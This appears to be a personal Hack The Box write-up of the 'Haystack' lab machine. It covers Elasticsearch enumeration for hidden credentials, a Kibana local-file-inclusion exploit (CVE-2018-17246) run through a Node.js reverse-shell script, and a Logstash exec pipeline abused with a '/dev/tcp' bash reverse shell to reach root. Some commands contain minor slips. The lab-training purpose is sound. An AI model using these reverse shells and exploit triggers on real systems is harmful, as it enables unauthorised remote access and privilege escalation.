Hack the Box Walkthrough: Haystack

  about 1786 words  9 min 

Overview

This post provides a walkthrough of the Haystack system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

Nmap Scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# nmap -Pn -n -A -T5 -p1-65535 10.10.10.115
[snip]
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
[snip]

Exploring Port 80

If we hit the index page on port 80 all we get is a page that loads an image called needle.jpg. I spent some time using dirbuster to explore the webserver but I couldn’t find anything. I decided to see if there was any data inside of the image itself. I used exim, exiv2, and eximtools to analyze image metadata and then I used strings to pull out any interesting characters.

1
2
3
4
5
# strings needle.jpg
[...]
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

Decoding this string yields:

1
2
# base64 -d <<< bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
la aguja en el pajar es "clave"

The english translation of this text is the needle in the haystack is the “key”

Exploring Port 9200 (ElasticSearch)

I found that port 9200 was running elasticsearch. The first thing I focused on doing was figuring out what data was stored in elastic searching. I did this by running a query to retrieve all data rows

1
http://10.10.10.115:9200/_search?q=*&size=1000

This returned about 1264 rows across two indices; bank and quotes. I did a search for the term needle and found the following result in the quotes index:

1
http://10.10.10.115:9200/_search?q=clave&size=1000&pretty=true
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
  "took" : 20,
  "timed_out" : false,
  "_shards" : {
    "total" : 11,
    "successful" : 11,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : 1,
    "max_score" : 5.427053,
    "hits" : [
      {
        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "2",
        "_score" : 5.427053,
        "_source" : {
          "quote" : "There's a needle in this haystack, you have to search for it"
        }
      }
    ]
  }
}

This led me to believe that I needed to keep poking around. I spent some time searching for the word key in english with no real luck and then tried to search for the word key in Spanish; clava.

1
http://10.10.10.115:9200/_search?q=clave&size=1000&pretty=true
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
  "took" : 14,
  "timed_out" : false,
  "_shards" : {
    "total" : 11,
    "successful" : 11,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : 2,
    "max_score" : 5.9335938,
    "hits" : [
      {
        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "45",
        "_score" : 5.9335938,
        "_source" : {
          "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
        }
      },
      {
        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "111",
        "_score" : 5.3459888,
        "_source" : {
          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
        }
      }
    ]
  }
}

The results show two texts that base64 decode to:

  • user: security
  • pass: spanish.is.key

Given that the only other service that was available was ssh and that none of these other services had authentication components, I tried the creds on ssh and was successful.

1
2
3
4
# ssh security@10.10.10.115
security@10.10.10.115's password: 
Last login: Tue Oct 29 15:44:12 2019 from 10.10.14.11
[security@haystack ~]$ 

Getting User Flag

1
2
3
4
[security@haystack ~]$ ls
user.txt
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929

Privilege Elevation

I performed some basic enumeration and I didn’t see any direct ways to get to root immediately. I did notice that the /opt/kibana folder was not accessible by the security user. I noticed that kibana was running, but only on the local loopback interface.

1
2
3
4
5
6
7
[security@haystack ~]$ ps aux | grep kibana
kibana     6363  0.4  5.7 1367276 223904 ?      Ssl  12:06   2:55 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml
kibana    26575  0.0  0.0 113176  1360 ?        S    15:46   0:00 /bin/sh
kibana    26617  0.0  0.1 129620  4772 ?        S    15:47   0:00 python -c import pty;pty.spawn("/bin/bash")
kibana    26618  0.0  0.0 115584  2132 pts/3    Ss+  15:47   0:00 /bin/bash
security  46331  0.0  0.0 112708   972 pts/0    R+   22:18   0:00 grep --color=auto kibana

netstat and lsof were not accessible so I used a number of alternative solutions to list listening ports.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[security@haystack ~]$ grep -v "rem_address" /proc/net/tcp  | awk  '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}'
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
127.0.0.1:46970
127.0.0.1:9200
127.0.0.1:46248
127.0.0.1:43628
127.0.0.1:42080
127.0.0.1:43852
127.0.0.1:9200
127.0.0.1:47036
127.0.0.1:9200
127.0.0.1:46312
10.10.14.11:34278
127.0.0.1:9200
127.0.0.1:46908
127.0.0.1:9200
127.0.0.1:9200
127.0.0.1:46372
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[security@haystack ~]$ awk 'function hextodec(str,ret,n,i,k,c){
>     ret = 0
>     n = length(str)
>     for (i = 1; i <= n; i++) {
>         c = tolower(substr(str, i, 1))
>         k = index("123456789abcdef", c)
>         ret = ret * 16 + k
>     }
>     return ret
> }
> function getIP(str,ret){
>     ret=hextodec(substr(str,index(str,":")-2,2)); 
>     for (i=5; i>0; i-=2) {
>         ret = ret"."hextodec(substr(str,i,2))
>     }
>     ret = ret":"hextodec(substr(str,index(str,":")+1,4))
>     return ret
> } 
> NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp 
Local - Remote
0.0.0.0:80 - 0.0.0.0:0
0.0.0.0:9200 - 0.0.0.0:0
0.0.0.0:22 - 0.0.0.0:0
127.0.0.1:5601 - 0.0.0.0:0
127.0.0.1:9200 - 127.0.0.1:46970
127.0.0.1:42080 - 127.0.0.1:9200
127.0.0.1:9200 - 127.0.0.1:43628
127.0.0.1:9200 - 127.0.0.1:42080
127.0.0.1:47580 - 127.0.0.1:9200
127.0.0.1:9200 - 127.0.0.1:43852
127.0.0.1:43628 - 127.0.0.1:9200
127.0.0.1:9200 - 127.0.0.1:47036
127.0.0.1:43852 - 127.0.0.1:9200
10.10.10.115:22 - 10.10.14.11:34278
127.0.0.1:9200 - 127.0.0.1:47580
127.0.0.1:47036 - 127.0.0.1:9200
127.0.0.1:9200 - 127.0.0.1:46908
127.0.0.1:46970 - 127.0.0.1:9200

I enumerated the version of Kibana and found that it appeared to be vulnerable to [CVE-2018-17246]((https://github.com/mpgn/CVE-2018-17246). The attack requires the use of a node.js shell. I grabbed an existing implementation from form https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell and saved to /tmp/shell.js.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.14.11", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Secondly, I needed to trigger the LFI vulnerability by invoking the following:

/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js

In order to invoke this though, I needed to communicate with the Kibana instance. I did this using SSH local port forwarding; forwarding a local port on my system to port 127.0.0.1:5601 on haystack

This allowed me to hit the kibana site and run the exploit trigger:

http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js

The following shows the shell coming back as kibana.

1
2
3
4
5
6
# netcat -vlp 1338
listening on [any] 1338 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.115] 55814
whoami
kibana

Upgrading Shell to Interactive

Follow this guide:

https://null-byte.wonderhowto.com/how-to/upgrade-dumb-shell-fully-interactive-shell-for-more-flexibility-0197224/

This is not mandatory, but it makes life easier with tab completion and the shell not dying if you hit ctrl+c

Enumeration as Kibana

Notice an interesting process being ran by root:

1
2
3
4
5
6
7
bash-4.2$ ps aux | grep root
[...]
root       6365  0.0  0.0  26376  1760 ?        Ss   12:06   0:00 /usr/lib/systemd/systemd-logind
root       6390  0.8 12.6 2725760 488988 ?      SNsl 12:06   5:12 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash
root       6417  0.0  0.0 126284  1696 ?        Ss   12:06   0:00 /usr/sbin/crond -n
root       6422  0.0  0.7 358584 29444 ?        Ssl  12:06   0:01 /usr/bin/python -Es 
[...]

I also looked for files owned by the kibana group. Amongst other results, this stood out:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
bash-4.2$ find / -group kibana
[...]
find: ‘/etc/audit’: Permiso denegado
find: ‘/etc/sudoers.d’: Permiso denegado
find: ‘/etc/elasticsearch’: Permiso denegado
/etc/logstash/conf.d
/etc/logstash/conf.d/output.conf
/etc/logstash/conf.d/input.conf
/etc/logstash/conf.d/filter.conf
/etc/logstash/log4j2.properties
/etc/logstash/logstash-sample.conf
/etc/logstash/pipelines.yml
/etc/logstash/jvm.options
/etc/logstash/logstash.yml
/etc/logstash/startup.options
/etc/logstash/logstash.yml.rpmnew
find: ‘/etc/vmware-tools/GuestProxyData/trusted’: Permiso denegado
find: ‘/root’: Permiso denegado
[...]

These two things seemed too coincidental to not be something in relation to getting root access.

After doing some research I saw that logstash was configured to use the pipeline established in the /etc/logstash/conf.d/ folder. This pipline did the following

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bash-4.2$ cat input.conf 
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}
1
2
3
4
5
6
7
8
bash-4.2$ cat filter.conf 
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}
1
2
3
4
5
6
7
8
9
bash-4.2$ cat /etc/logstash/conf.d/output.conf 
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

logstash takes input from files named /opt/kibana/logstash_* and then runs them through the grok filter noted above. The extracted content is then executed.

I used the online grok debugger (https://grokdebug.herokuapp.com/) to get an understanding of what the grok filter was doing.

Ultimately I determined that, in order to get the command to execute, the file placed at /opt/kibana/logstash_* needs to contain a line formatted as follows:

1
Ejecutar comando : [your_command_here]

Exploiting logstash and Getting Root Flag

I created a file caled /opt/kibana/logstash_1 containing:

1
Ejecutar comando : bash -i >& /dev/tcp/10.10.14.11/8080 0>&1

netcat and nc not on the box so had to use something else

I then waited about 10-20 seconds before it was executed and I gained a shell back:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@htbvm:~# netcat -vlp 8080
listening on [any] 8080 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.115] 39868
bash: no hay control de trabajos en este shell
[root@haystack /]# whoami
whoami
root
[root@haystack /]# cat /root/root.txt
cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92
[root@haystack /]# 

References